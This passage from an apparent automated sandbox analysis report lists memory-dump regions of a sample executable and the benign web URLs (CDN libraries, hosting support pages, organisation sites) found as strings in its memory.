00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://oss.maxcdn.com/respond/1.4.2/respond.min.js
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pepabo.com/
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2592835145.0000000003490000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://schema.org
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sekcija-simer.gzs.si/vsebina/O-sekciji-SiMER
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2721617000.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2397267279.0000000003500000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2396072731.0000000003460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sjbs.org/
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css?ver=1.0.0
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js?ver=1.0.0
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://static.minne.com/files/banner/minne_600x500
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2373096993.00000000044B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://status.squarespace.com
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://support.lolipop.jp/hc/ja/articles/360049132953
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2699317328.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tickets.suresupport.com/faq/article-1596/en
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://use.fontawesome.com/releases/v5.12.0/css/all.css
